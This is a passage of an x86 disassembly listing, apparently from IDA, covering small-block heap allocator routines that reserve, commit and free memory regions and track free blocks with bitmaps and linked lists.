mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E748: ; CODE XREF: sub_41E542+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E75B: ; CODE XREF: sub_41E542+192j
; sub_41E542+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41E866
mov eax, dword_4DFC54
test eax, eax
jz loc_41E858
mov ecx, dword_4DFC4C
mov esi, dword_4281CC
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, dword_4DFC4C
mov eax, dword_4DFC54
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DFC54
mov ecx, dword_4DFC4C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DFC54
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DFC54
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E7E9
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DFC54
loc_41E7E9: ; CODE XREF: sub_41E542+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41E858
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, dword_4DFC54
push dword ptr [eax+10h]
push 0
push dword_4DFC64
call dword_428150 ; RtlFreeHeap
mov eax, dword_4DFC58
mov edx, dword_4DFC5C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DFC54
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41D300
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DFC58
cmp eax, dword_4DFC54
jbe short loc_41E84E
sub [ebp+arg_0], 14h
loc_41E84E: ; CODE XREF: sub_41E542+306j
mov eax, dword_4DFC5C
mov dword_4DFC50, eax
loc_41E858: ; CODE XREF: sub_41E542+234j
; sub_41E542+2ABj
mov eax, [ebp+arg_0]
mov dword_4DFC4C, edi
mov dword_4DFC54, eax
loc_41E866: ; CODE XREF: sub_41E542+38j
; sub_41E542+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41E542 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E86B proc near ; CODE XREF: sub_41B872+77p
; sub_41BB83+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DFC58
mov edx, dword_4DFC5C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41E8AB
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41E8BB
; ---------------------------------------------------------------------------
loc_41E8AB: ; CODE XREF: sub_41E86B+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41E8BB: ; CODE XREF: sub_41E86B+3Ej
mov eax, dword_4DFC50
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41E8E2
loc_41E8C9: ; CODE XREF: sub_41E86B+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E8E2
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41E8C9
loc_41E8E2: ; CODE XREF: sub_41E86B+5Cj
; sub_41E86B+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41E960
mov ebx, edx
loc_41E8E9: ; CODE XREF: sub_41E86B+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E905
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E903
add ebx, 14h
jmp short loc_41E8E9
; ---------------------------------------------------------------------------
loc_41E903: ; CODE XREF: sub_41E86B+91j
cmp ebx, eax
loc_41E905: ; CODE XREF: sub_41E86B+83j
jnz short loc_41E960
loc_41E907: ; CODE XREF: sub_41E86B+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41E91D
cmp dword ptr [ebx+8], 0
jnz short loc_41E91A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41E907
; ---------------------------------------------------------------------------
loc_41E91A: ; CODE XREF: sub_41E86B+A5j
cmp ebx, [ebp+var_4]
loc_41E91D: ; CODE XREF: sub_41E86B+9Fj
jnz short loc_41E945
mov ebx, edx
loc_41E921: ; CODE XREF: sub_41E86B+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E935
cmp dword ptr [ebx+8], 0
jnz short loc_41E933
add ebx, 14h
jmp short loc_41E921
; ---------------------------------------------------------------------------
loc_41E933: ; CODE XREF: sub_41E86B+C1j
cmp ebx, eax
loc_41E935: ; CODE XREF: sub_41E86B+BBj
jnz short loc_41E945
call sub_41EB74
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41E959
loc_41E945: ; CODE XREF: sub_41E86B:loc_41E91Dj
; sub_41E86B:loc_41E935j
push ebx
call sub_41EC25
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41E960
loc_41E959: ; CODE XREF: sub_41E86B+D8j
xor eax, eax
jmp loc_41EB6F
; ---------------------------------------------------------------------------
loc_41E960: ; CODE XREF: sub_41E86B+7Aj
; sub_41E86B:loc_41E905j ...
mov dword_4DFC50, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41E987
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E9BE
loc_41E987: ; CODE XREF: sub_41E86B+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41E9BB
loc_41E9A4: ; CODE XREF: sub_41E86B+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41E9A4
loc_41E9BB: ; CODE XREF: sub_41E86B+137j
mov edx, [ebp+var_4]
loc_41E9BE: ; CODE XREF: sub_41E86B+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41E9E7
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41E9E7: ; CODE XREF: sub_41E86B+16Dj
; sub_41E86B+183j
test ecx, ecx
jl short loc_41E9F0
shl ecx, 1
inc edi
jmp short loc_41E9E7
; ---------------------------------------------------------------------------
loc_41E9F0: ; CODE XREF: sub_41E86B+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41EA0D
push 3Fh
pop esi
loc_41EA0D: ; CODE XREF: sub_41E86B+19Dj
cmp esi, edi
jz loc_41EB22
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41EA7E
cmp edi, 20h
jge short loc_41EA4D
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41EA7B
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41EA7E
; ---------------------------------------------------------------------------
loc_41EA4D: ; CODE XREF: sub_41E86B+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41EA7B
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41EA7E
; ---------------------------------------------------------------------------
loc_41EA7B: ; CODE XREF: sub_41E86B+1D6j
; sub_41E86B+203j
mov ebx, [ebp+arg_0]
loc_41EA7E: ; CODE XREF: sub_41E86B+1B0j
; sub_41E86B+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41EB2E
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41EB1F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41EAF0
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41EADE
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41EADE: ; CODE XREF: sub_41E86B+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41EB1F
; ---------------------------------------------------------------------------
loc_41EAF0: ; CODE XREF: sub_41E86B+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41EB09
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41EB09: ; CODE XREF: sub_41E86B+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41EB1F: ; CODE XREF: sub_41E86B+24Ej
; sub_41E86B+283j
mov ecx, [ebp+var_8]
loc_41EB22: ; CODE XREF: sub_41E86B+1A4j
test ecx, ecx
jz short loc_41EB31
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41EB31
; ---------------------------------------------------------------------------
loc_41EB2E: ; CODE XREF: sub_41E86B+229j
mov ecx, [ebp+var_8]
loc_41EB31: ; CODE XREF: sub_41E86B+2B9j
; sub_41E86B+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41EB67
cmp ebx, dword_4DFC54
jnz short loc_41EB67
mov ecx, [ebp+var_4]
cmp ecx, dword_4DFC4C
jnz short loc_41EB67
and dword_4DFC54, 0
loc_41EB67: ; CODE XREF: sub_41E86B+2E0j
; sub_41E86B+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41EB6F: ; CODE XREF: sub_41E86B+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41E86B endp
; =============== S U B R O U T I N E =======================================
sub_41EB74 proc near ; CODE XREF: sub_41E86B+CCp
mov eax, dword_4DFC58
mov ecx, dword_4DFC48
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41EBB7
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DFC5C
push edi
push dword_4DFC64
call dword_4281A4 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_41EC07
add dword_4DFC48, 10h
mov dword_4DFC5C, eax
mov eax, dword_4DFC58
loc_41EBB7: ; CODE XREF: sub_41EB74+11j
mov ecx, dword_4DFC5C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4DFC64
lea esi, [ecx+eax*4]
call dword_428154 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_41EC07
push 4
push 2000h
push 100000h
push edi
call dword_4281D0 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41EC0B
push dword ptr [esi+10h]
push edi
push dword_4DFC64
call dword_428150 ; RtlFreeHeap
loc_41EC07: ; CODE XREF: sub_41EB74+30j
; sub_41EB74+67j
xor eax, eax
jmp short loc_41EC22
; ---------------------------------------------------------------------------
loc_41EC0B: ; CODE XREF: sub_41EB74+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DFC58
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41EC22: ; CODE XREF: sub_41EB74+95j
pop edi
pop esi
retn
sub_41EB74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EC25 proc near ; CODE XREF: sub_41E86B+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41EC37: ; CODE XREF: sub_41EC25+19j
test eax, eax
jl short loc_41EC40
shl eax, 1
inc ebx
jmp short loc_41EC37
; ---------------------------------------------------------------------------
loc_41EC40: ; CODE XREF: sub_41EC25+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41EC55: ; CODE XREF: sub_41EC25+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41EC55
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call dword_4281D0 ; VirtualAlloc
test eax, eax
jnz short loc_41EC88
or eax, 0FFFFFFFFh
jmp loc_41ED1B
; ---------------------------------------------------------------------------
loc_41EC88: ; CODE XREF: sub_41EC25+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41ECCE
lea eax, [edi+10h]
loc_41EC95: ; CODE XREF: sub_41EC25+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41EC95
loc_41ECCE: ; CODE XREF: sub_41EC25+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41ED0B
or [eax+4], edi
loc_41ED0B: ; CODE XREF: sub_41EC25+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41ED1B: ; CODE XREF: sub_41EC25+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41EC25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ED20 proc near ; CODE XREF: sub_41B872+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41EECE
test bl, 1
jnz loc_41EEC7
add ebx, ecx
cmp esi, ebx
jg loc_41EEC7
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41ED97
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41ED97: ; CODE XREF: sub_41ED20+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41EDE7
cmp ecx, 20h
jnb short loc_41EDC3
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41EDE7
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41EDE7
; ---------------------------------------------------------------------------
loc_41EDC3: ; CODE XREF: sub_41ED20+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41EDE7
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41EDE7: ; CODE XREF: sub_41ED20+7Dj
; sub_41ED20+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41EEB5
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41EE21
push 3Fh
pop edi
loc_41EE21: ; CODE XREF: sub_41ED20+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41EEA3
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41EE7A
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41EE6D
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41EE6D: ; CODE XREF: sub_41ED20+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41EE9F
; ---------------------------------------------------------------------------
loc_41EE7A: ; CODE XREF: sub_41ED20+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41EE90
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41EE90: ; CODE XREF: sub_41ED20+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41EE9F: ; CODE XREF: sub_41ED20+158j
shr edx, cl
or [eax], edx
loc_41EEA3: ; CODE XREF: sub_41ED20+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41EEB8
; ---------------------------------------------------------------------------
loc_41EEB5: ; CODE XREF: sub_41ED20+E5j
mov edx, [ebp+arg_4]
loc_41EEB8: ; CODE XREF: sub_41ED20+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41F00E
; ---------------------------------------------------------------------------
loc_41EEC7: ; CODE XREF: sub_41ED20+52j
; sub_41ED20+5Cj
xor eax, eax
jmp loc_41F011
; ---------------------------------------------------------------------------
loc_41EECE: ; CODE XREF: sub_41ED20+49j
jge loc_41F00E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41EEF9
push 3Fh
pop esi
loc_41EEF9: ; CODE XREF: sub_41ED20+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41EF88
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41EF12
push 3Fh
pop esi
loc_41EF12: ; CODE XREF: sub_41ED20+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41EF61
cmp esi, 20h
jnb short loc_41EF3D
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41EF5E
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41EF5E
; ---------------------------------------------------------------------------
loc_41EF3D: ; CODE XREF: sub_41ED20+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41EF5E
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41EF5E: ; CODE XREF: sub_41ED20+214j
; sub_41ED20+21Bj ...
mov ebx, [ebp+arg_4]
loc_41EF61: ; CODE XREF: sub_41ED20+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41EF88
push 3Fh
pop esi
loc_41EF88: ; CODE XREF: sub_41ED20+1DDj
; sub_41ED20+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41F005
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41EFDC
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41EFCF
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41EFCF: ; CODE XREF: sub_41ED20+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41F001
; ---------------------------------------------------------------------------
loc_41EFDC: ; CODE XREF: sub_41ED20+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41EFF2
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41EFF2: ; CODE XREF: sub_41ED20+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41F001: ; CODE XREF: sub_41ED20+2BAj
shr edx, cl
or [eax], edx
loc_41F005: ; CODE XREF: sub_41ED20+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41F00E: ; CODE XREF: sub_41ED20+1A2j
; sub_41ED20:loc_41EECEj
push 1
pop eax
loc_41F011: ; CODE XREF: sub_41ED20+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41ED20 endp
; =============== S U B R O U T I N E =======================================
sub_41F016 proc near ; CODE XREF: sub_41E472+41p
; sub_41F30E:loc_41F4DDp
cmp dword_43D600, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41F02A
mov esi, offset off_43D5F0
jmp short loc_41F047
; ---------------------------------------------------------------------------
loc_41F02A: ; CODE XREF: sub_41F016+Bj
push 2020h
push 0
push dword_4DFC64
call dword_428154 ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_41F153
loc_41F047: ; CODE XREF: sub_41F016+12j
mov ebp, dword_4281D0
push 4
push 2000h
push 400000h
push 0
call ebp ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_41F13C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; VirtualAlloc
test eax, eax
jz loc_41F12E
mov eax, offset off_43D5F0
cmp esi, eax
jnz short loc_41F0A6
cmp off_43D5F0, 0
jnz short loc_41F096
mov off_43D5F0, eax
loc_41F096: ; CODE XREF: sub_41F016+79j
cmp off_43D5F4, 0
jnz short loc_41F0BB
mov off_43D5F4, eax
jmp short loc_41F0BB
; ---------------------------------------------------------------------------
loc_41F0A6: ; CODE XREF: sub_41F016+70j
mov [esi], eax
mov eax, off_43D5F4
mov [esi+4], eax
mov off_43D5F4, esi
mov eax, [esi+4]
mov [eax], esi
loc_41F0BB: ; CODE XREF: sub_41F016+87j
; sub_41F016+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41F0DD: ; CODE XREF: sub_41F016+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41F0DD
push ebx
push 0
push edi
call sub_41BC00
add esp, 0Ch
loc_41F106: ; CODE XREF: sub_41F016+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41F12A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41F106
; ---------------------------------------------------------------------------
loc_41F12A: ; CODE XREF: sub_41F016+F7j
mov eax, esi
jmp short loc_41F155
; ---------------------------------------------------------------------------
loc_41F12E: ; CODE XREF: sub_41F016+63j
push 8000h
push 0
push edi
call dword_4281CC ; VirtualFree
loc_41F13C: ; CODE XREF: sub_41F016+4Bj
cmp esi, offset off_43D5F0
jz short loc_41F153
push esi
push 0
push dword_4DFC64
call dword_428150 ; RtlFreeHeap
loc_41F153: ; CODE XREF: sub_41F016+2Bj
; sub_41F016+12Cj
xor eax, eax
loc_41F155: ; CODE XREF: sub_41F016+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F016 endp
; =============== S U B R O U T I N E =======================================
sub_41F15A proc near ; CODE XREF: sub_41F1B0+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call dword_4281CC ; VirtualFree
cmp off_43F610, esi
jnz short loc_41F17F
mov eax, [esi+4]
mov off_43F610, eax
loc_41F17F: ; CODE XREF: sub_41F15A+1Bj
cmp esi, offset off_43D5F0
jz short loc_41F1A7
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DFC64
call dword_428150 ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F1A7: ; CODE XREF: sub_41F15A+2Bj
or dword_43D600, 0FFFFFFFFh
pop esi
retn
sub_41F15A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F1B0 proc near ; CODE XREF: sub_41F2C9+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43D5F4
push edi
loc_41F1BD: ; CODE XREF: sub_41F1B0+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41F25B
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41F1D6: ; CODE XREF: sub_41F1B0+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41F217
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call dword_4281CC ; VirtualFree
test eax, eax
jz short loc_41F217
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DE644
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41F20C
cmp eax, edi
jbe short loc_41F20F
loc_41F20C: ; CODE XREF: sub_41F1B0+56j
mov [esi+0Ch], edi
loc_41F20F: ; CODE XREF: sub_41F1B0+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41F224
loc_41F217: ; CODE XREF: sub_41F1B0+2Cj
; sub_41F1B0+46j
sub ebx, 1000h
sub edi, 8
